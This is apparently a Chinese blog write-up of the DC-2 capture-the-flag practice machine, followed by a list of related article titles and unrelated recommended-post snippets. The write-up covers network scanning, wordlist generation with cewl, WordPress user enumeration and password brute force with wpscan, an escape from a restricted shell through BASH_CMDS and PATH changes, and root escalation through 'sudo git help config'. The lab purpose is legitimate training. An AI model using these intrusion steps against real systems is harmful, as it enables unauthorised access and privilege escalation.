为了更好的阅读体验,请在pc端打开我的个人博客

DC系列共9个靶场,本次来试玩一下DC-2,共有5个flag,下载地址
下载下来后是 .ova 格式,建议使用vitualbox进行搭建,vmware可能存在兼容性问题。靶场推荐使用NAT(共享)模式,桥接模式可能会造成目标过多不易识别。

传统艺能,kali扫一扫,发现目标ip:192.168.31.198

arp-scan -l

nmap扫一把

nmap -sV -A -p- 192.168.31.198

发现开放了80(http)和7744(ssh)两个端口

访问80端口看一下他的网页情况
访问后发现跳转至dc-2,且不显示内容,因此尝试修改hosts文件(win和kali都需要),最后一行添加如下字段:

192.168.31.198 dc-2

然后直接访问dc-2就能打开网页了,发现是wordpress的CMS,并且在首页就能找到flag1

flag1提示我们常用的密码字典或许无法破解,让我们使用cewl,登陆其中一个账户就可以找到下一个flag。

cewl利用爬虫技术对网站作者的写作习惯进行分析并得出可能的密码字典

cewl dc-2 > pass.txt

将分析得到的密码写入到pass.txt
得到了密码,我们还需要用户名,因为是wordpress的CMS,这里用到wpscan

wpscan --url dc-2 -e u

找到三个用户名,admin,jerry,tom,然后将它们写入一个用户名字典

echo admin > username.txt
echo jerry >> username.txt
echo tom >> username.txt

有了用户名和密码字典就可以进行破解了,我们还是使用wpscan(当然也可以用burp爆破)

wpscan --url dc-2 -U username.txt -P pass.txt

话说我们有了账户和密码但去哪里登陆呢?
尝试使用御剑进行后台扫描或者dirsearch,都能扫出来后台地址

dc-2/wp-login.php

登陆后发现flag2

本来想通过修改网页源码实现反弹shell控制的,但是jerry和tom都不是管理员,没有权限。无奈,想起还有一个一直被我们遗忘的7744端口。我们尝试用破解出来的后台密码连接ssh,最终只有tom可以登录。

但是发现连cat,whoami都不能用,幸好还能用ls。看一下具体自己能执行什么指令

ls usr/bin

居然只能用ls less scp vi这四个命令,大无语事件。
ls看一下当前目录,有flag3,用vi打开

vi flag3.txt

这句话告诉我们jerry的权限比tom更高,要我们提权至jerry
但是我们现在使用的是阉割版的shell,有一种方式能绕过。

BASH_CMDS[a]=/bin/sh    	#把/bin/sh给a变量
export PATH=PATH:/bin/ #将/bin 作为PATH环境变量导出
export PATH=PATH:/sbin:/bin #将/usr/bin作为PATH环境变量导出

然后就能成功使用su切换至jerry了

进入jerry的home就能看到lflag4了

最后一个flag需要用到git提权

sudo -l		#看一下可以以root权限执行什么命令

果然,git可以不需要密码使用root执行

sudo git help config

在这个界面下就已经是root权限了,执行命令时需要在前面加上" ! ‘’

!whoami

当然也可以直接切换至root

!sudo su

在root目录发现final-flag

内网渗透DC-2靶场通关(CTF)的更多相关文章

  1. 内网渗透之vlunstack靶场

    前言:vlunstack靶场是由三台虚拟机构成,一台是有外网ip的windows7系统(nat模式),另外两台是纯内网机器(外网ping不通),分别是域控win2008和内网主机win2003,这里就 ...

  2. 【CTF】msf和impacket联合拿域控内网渗透-拿域控

    前言 掌控安全里面的靶场内网渗透,练练手! 内网渗透拿域控 环境:http://afsgr16-b1ferw.aqlab.cn/?id=1 1.进去一看,典型的sql注入 2.测试了一下,可以爆库,也 ...

  3. Linux内网渗透

    Linux虽然没有域环境,但是当我们拿到一台Linux 系统权限,难道只进行一下提权,捕获一下敏感信息就结束了吗?显然不只是这样的.本片文章将从拿到一个Linux shell开始,介绍Linux内网渗 ...

  4. 7.内网渗透之windows认证机制

    文章参考自三好学生域渗透系列文章 看了内网渗透第五篇文章,发现如果想要真正了解PTT,PTH攻击流程,还需要了解windows的认证机制,包括域内的kerberos协议. windows认证机制 在域 ...

  5. 利用MSF实现三层网络的一次内网渗透

    目标IP192.168.31.207 很明显这是一个文件上传的靶场 白名单限制 各种尝试之后发现这是一个检测文件类型的限制 上传php大马文件后抓包修改其类型为  image/jpeg 上传大马之后发 ...

  6. 安全学习概览——恶意软件分析、web渗透、漏洞利用和挖掘、内网渗透、IoT安全分析、区块链、黑灰产对抗

    1 基础知识1.1 网络熟悉常见网络协议:https://www.ietf.org/standards/rfcs/1.2 操作系统1.3 编程2 恶意软件分析2.1 分类2.1.1 木马2.1.2 B ...

  7. cmseasy&内网渗透 Writeup

    某CTF内网渗透 题目:www.whalwl.site:8021 目录 cmseasy 内网横向渗透 cmseasy 简单看一下网站架构 Apache/2.4.7 (Ubuntu) PHP/5.5.9 ...

  8. 内网渗透测试思路-FREEBUF

    (在拿到webshell的时候,想办法获取系统信息拿到系统权限) 一.通过常规web渗透,已经拿到webshell.那么接下来作重要的就是探测系统信息,提权,针对windows想办法开启远程桌面连接, ...

  9. 内网渗透 关于GPO

    网上有很多讲内网渗透的文章,但看来看去还是一老外的博客给力,博客地址:www.harmj0y.net/blog,看完就明白这里面的很多思路都非常好. 做内网时,有时会碰到目标的机器开防火墙,所有端口基 ...

  10. [原创]K8 Cscan 3.6大型内网渗透自定义扫描器

    前言:无论内网还是外网渗透信息收集都是非常关键,信息收集越多越准确渗透的成功率就越高但成功率还受到漏洞影响,漏洞受时效性影响,对于大型内网扫描速度直接影响着成功率漏洞时效性1-2天,扫描内网或外网需1 ...

随机推荐

  1. 假期作业03:使用IDE开发你的Java程序

    假期作业03:使用IDE开发你的Java程序 一.使用Eclipse创建一个Java项目HelloWorldPrj,编写一个Java程序并运行. 首先要下载eclipse. (注意这里要选一个中国的, ...

  2. go语言调用everything的SDK接口

    介绍 官方SDK地址 本项目会将官方dll编译到可执行程序中,运行时无需考虑dll问题. 根据官方介绍,使用SDK前需要运行everything程序. 执行go build -tag ASCII时编译 ...

  3. 【第十四篇】- Maven 自动化构建之Spring Cloud直播商城 b2b2c电子商务技术总结

    Maven 自动化构建 自动化构建定义了这样一种场景: 在一个项目成功构建完成后,其相关的依赖工程即开始构建,这样可以保证其依赖项目的稳定. 比如一个团队正在开发一个项目 bus-core-api, ...

  4. 一文搞懂如何使用Node.js进行TCP网络通信

    摘要: 网络是通信互联的基础,Node.js提供了net.http.dgram等模块,分别用来实现TCP.HTTP.UDP的通信,本文主要对使用Node.js的TCP通信部份进行实践记录. 本文分享自 ...

  5. 使用Java操作Excel表格

    目录 一.配置第三方库 二.使用Apache POI API 1. 打开Excel文件 2. 选择对应的sheet 3. Sheet接口的基本使用 3.1 获取开头行和结束行 3.2 获取Row对象 ...

  6. php处理url的rawurlencode:可处理空格加号

    (PHP 4, PHP 5, PHP 7) rawurlencode - 按照 RFC 3986 对 URL 进行编码 返回字符串,此字符串中除了 -_. 之外的所有非字母数字字符都将被替换成百分号( ...

  7. git tag标签

    列出标签 # 默认按字母排序显示 $ git tag # 模糊匹配查找标签 $ git tag -l "v2.8.5*" 创建标签 # 创建附注标签 $ git tag -a v1 ...

  8. Java中的三大特性:封装、继承、多态

    封装: 概念:封装可以被认为是一个保护屏障,防止该类的代码和数据被其他类随意访问,适当的封装可以让代码更容易理解与维护,也加强了代码的安全性. 原则:将属性隐藏起来,若需要访问某个属性,提供公共方法对 ...

  9. mybatis的mapper特殊字符转移以及动态SQL条件查询

    前言 我们知道在项目开发中之前使用数据库查询,都是基于jdbc,进行连接查询,然后是高级一点jdbcTemplate进行查询,但是我们发现还是不是很方便,有大量重复sql语句,与代码偶合,效率低下,于 ...

  10. js模块化开发 AMD CMD Commonjs

    在es6全面实行开来之前  js实现模块开发方案有: 1.AMD 异步模块开发定义  依赖前置,requireJs应用了这一规范 require([module], callback); 加载完后回调 ...